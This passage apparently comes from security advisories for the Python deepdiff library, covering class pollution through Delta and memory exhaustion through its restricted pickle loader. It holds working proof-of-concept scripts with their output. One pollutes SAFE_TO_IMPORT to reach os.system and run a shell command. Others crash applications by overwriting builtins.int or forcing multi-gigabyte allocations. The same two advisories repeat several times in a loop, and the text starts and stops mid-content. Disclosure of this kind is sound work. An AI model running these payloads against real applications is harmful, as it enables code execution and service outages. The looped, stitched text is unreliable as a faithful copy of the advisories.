However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
Allocated: 95 MB
Amplification: 813008x
Payload size: 42 bytes
Allocated: 95 MB

Impact

Denial of service. Any application that deserializes delta objects or calls pickle_load with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.

The amplification is large. 800,000x for delta and 2,000,000x for raw pickle.

Impacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.

Summary

Python class pollution is a novel vulnerability categorized under CWE-915. The Delta class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization).

The gadget available in DeepDiff allows deepdiff.serialization.SAFE_TO_IMPORT to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled.

Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.

Details

The Delta class can take different object types as a parameter in its constructor, such as a DeltaDiff object, a dictionary, or even just bytes (that are deserialized via Pickle).

When it takes a dictionary, it is usually in the following format:

Delta({"dictionary_item_added": {"root.myattr['foo']": "bar"}})

Trying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23

However, this code only runs when parsing the path from a string. The _path_to_elements function helpfully returns the given input if it is already a list/tuple: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53

This means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:

Delta(
    {
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("__init__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("PWNED", "GET"),
            ): 1337
        }
    },
)

Going back to the possible inputs of Delta, when it takes a bytes as input, it uses pickle to deserialize them. Care was taken by DeepDiff to prevent arbitrary code execution via the SAFE_TO_IMPORT allow list. https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98 However, using the class pollution in the Delta, an attacker can add new entries to this set.

This then allows a second call to Delta to unpickle an insecure class that runs os.system, for example.

Using dict

Usually, class pollution does not work when traversal starts at a dict/list/tuple, because it is not possible to reach __globals__ from there. However, using two calls to Delta (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type deepdiff.helper.Opcode, which then allows traversal to __globals__, and notably sys.modules, which in turn allows traversal to any module already loaded by Python. Passing Opcode around can be done via pickle, which Delta will happily accept given it is in the default allow list.

Proof of Concept

With deepdiff 8.6.0 installed, run the following scripts for each proof of concept. All input to Delta is assumed to be user-controlled.

Denial of Service

This script will pollute the value of builtins.int, preventing the class from being used and making code crash whenever invoked.

# ------------[ Setup ]------------
import pickle
 
from deepdiff.helper import Opcode

pollute_int = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "dictionary_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("__builtins__", "GET"),
                ("int", "GET"),
            ): "no longer a class"
        },
    }
)


assert isinstance(pollute_int, bytes)

# ------------[ Exploit ]------------
# This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Before pollution
print(int("41") + 1)

# Apply Delta to mydict
result = mydict + Delta(pollute_int)

print(int("1337"))

$ python poc_dos.py
42
Traceback (most recent call last):
  File "/tmp/poc_dos.py", line 43, in <module>
    print(int("1337"))
TypeError: 'str' object is not callable

Remote Code Execution

This script will create a file at /tmp/pwned with the output of id.

 # ------------[ Setup ]------------
import os
import pickle

from deepdiff.helper import Opcode

pollute_safe_to_import = pickle.dumps(
    {
        "values_changed": {"root['tmp']": {"new_value": Opcode("", 0, 0, 0, 0)}},
        "set_item_added": {
            (
                ("root", "GETATTR"),
                ("tmp", "GET"),
                ("__repr__", "GETATTR"),
                ("__globals__", "GETATTR"),
                ("sys", "GET"),
                ("modules", "GETATTR"),
                ("deepdiff.serialization", "GET"),
                ("SAFE_TO_IMPORT", "GETATTR"),
            ): set(["posix.system"])
        },
    }
)


# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/
 class RCE:
    def __reduce__(self):
        cmd = "id > /tmp/pwned"
        return os.system, (cmd,)


# Wrap object with dictionary so that Delta does not crash
rce_pickle = pickle.dumps({"_": RCE()})

assert isinstance(pollute_safe_to_import, bytes)
assert isinstance(rce_pickle, bytes)

# ------------[ Exploit ]------------
 # This could be some example, vulnerable, application.
# The inputs above could be sent via HTTP, for example.

from deepdiff import Delta

# Existing dictionary; it is assumed that it contains
# at least one entry, otherwise a different Delta needs to be
# applied first, adding an entry to the dictionary.
mydict = {"tmp": "foobar"}

# Apply Delta to mydict
result = mydict + Delta(pollute_safe_to_import)

Delta(rce_pickle)  # no need to apply this Delta

$ python poc_rce.py
 $ cat /tmp/pwned
uid=1000(dtc) gid=100(users) groups=100(users),1(wheel)

Who is affected?

Only applications that pass (untrusted) user input directly into Delta are affected.

While input in the form of bytes is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding app.secret_key of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.

Mitigations

A straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser. This would have to be implemented in both deepdiff.path._get_nested_obj and deepdiff.path._get_nested_obj_and_force, and possibly in deepdiff.delta.Delta._get_elements_and_details. Example code that raises an error when traversing these properties:

if elem.startswith("__") and elem.endswith("__"):
  raise ValueError("traversing dunder attributes is not allowed")

However, if it is desirable to still support attributes starting and ending with __, but still protect against this vulnerability, it is possible to only forbid __globals__ and __builtins__, which stops the most serious cases of class pollution (but not all). This was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180

Summary

The pickle unpickler _RestrictedUnpickler validates which classes can be loaded but does not limit their constructor arguments. A few of the types in SAFE_TO_IMPORT have constructors that allocate memory proportional to their input (builtins.bytes, builtins.list, builtins.range). A 40-byte pickle payload can force 10+ GB of memory, which crashes applications that load delta objects or call pickle_load with untrusted data.

Details

CVE-2025-58367 hardened the delta class against pollution and remote code execution by converting SAFE_TO_IMPORT to a frozenset and blocking traversal. _RestrictedUnpickler.find_class only gates which classes can be loaded. It doesn't intercept REDUCE opcodes or validate what is passed to constructors.

It can be exploited in 2 ways.

1 - During pickle_load

A pickle that calls bytes(N) using opcodes permitted by the allowlist. The allocation happens during deserialization and before the delta processes anything. The restricted unpickler does not override load_reduce so any allowed class can be called.

GLOBAL builtins.bytes      (passes find_class check — serialization.py:353)
INT    10000000000          (10 billion)
TUPLE + REDUCE             → bytes(10**10) → allocates ~9.3 GB

2 - During delta application

A valid diff dict that first sets a value to a large int via values_changed, then converts it to bytes via type_changes. It works because _do_values_changed() runs before _do_type_changes() in Delta.add() in delta.py line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls new_type(current_old_value) at delta.py line 576 with no size guard.

PoC

The script uses Python's resource module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change 10**8 to 10**10 for the full 9.3 GB allocation.

import resource
import sys

def limit_memory(maxsize_mb):
    """Cap virtual memory for this process."""
    soft, hard = resource.getrlimit(resource.RLIMIT_AS)
    maxsize_bytes = maxsize_mb * 1024 * 1024
    try:
        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))
        print(f"[*] Memory limit set to {maxsize_mb} MB")
    except ValueError:
        print("[!] Failed to set memory limit.")
        sys.exit(1)

# Load heavy imports before enforcing the limit
from deepdiff import Delta
from deepdiff.serialization import pickle_dump, pickle_load

limit_memory(1024)

# --- Delta application path ---
payload_dict = {
    'values_changed': {"root['x']": {'new_value': 10**8}},
    'type_changes': {"root['x']": {'new_type': bytes}},
}

payload1 = pickle_dump(payload_dict)
print(f"Payload size: {len(payload1)} bytes")

target = {'x': 'anything'}
try:
    result = target + Delta(payload1)
    print(f"Allocated: {len(result['x']) // 1024 // 1024} MB")
    print(f"Amplification: {len(result['x']) // len(payload1)}x")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

# --- Raw pickle path ---
payload2 = (
    b"(dp0\n"
    b"S'_'\n"
    b"cbuiltins\nbytes\n"
    b"(I100000000\n"
    b"tR"
    b"s."
)

print(f"Payload size: {len(payload2)} bytes")
try:
    result2 = pickle_load(payload2)
    print(f"Allocated: {len(result2['_']) // 1024 // 1024} MB")
except MemoryError:
    print("[!] MemoryError — payload tried to allocate too much")

Output:

[*] Memory limit set to 1024 MB
Payload size: 123 bytes
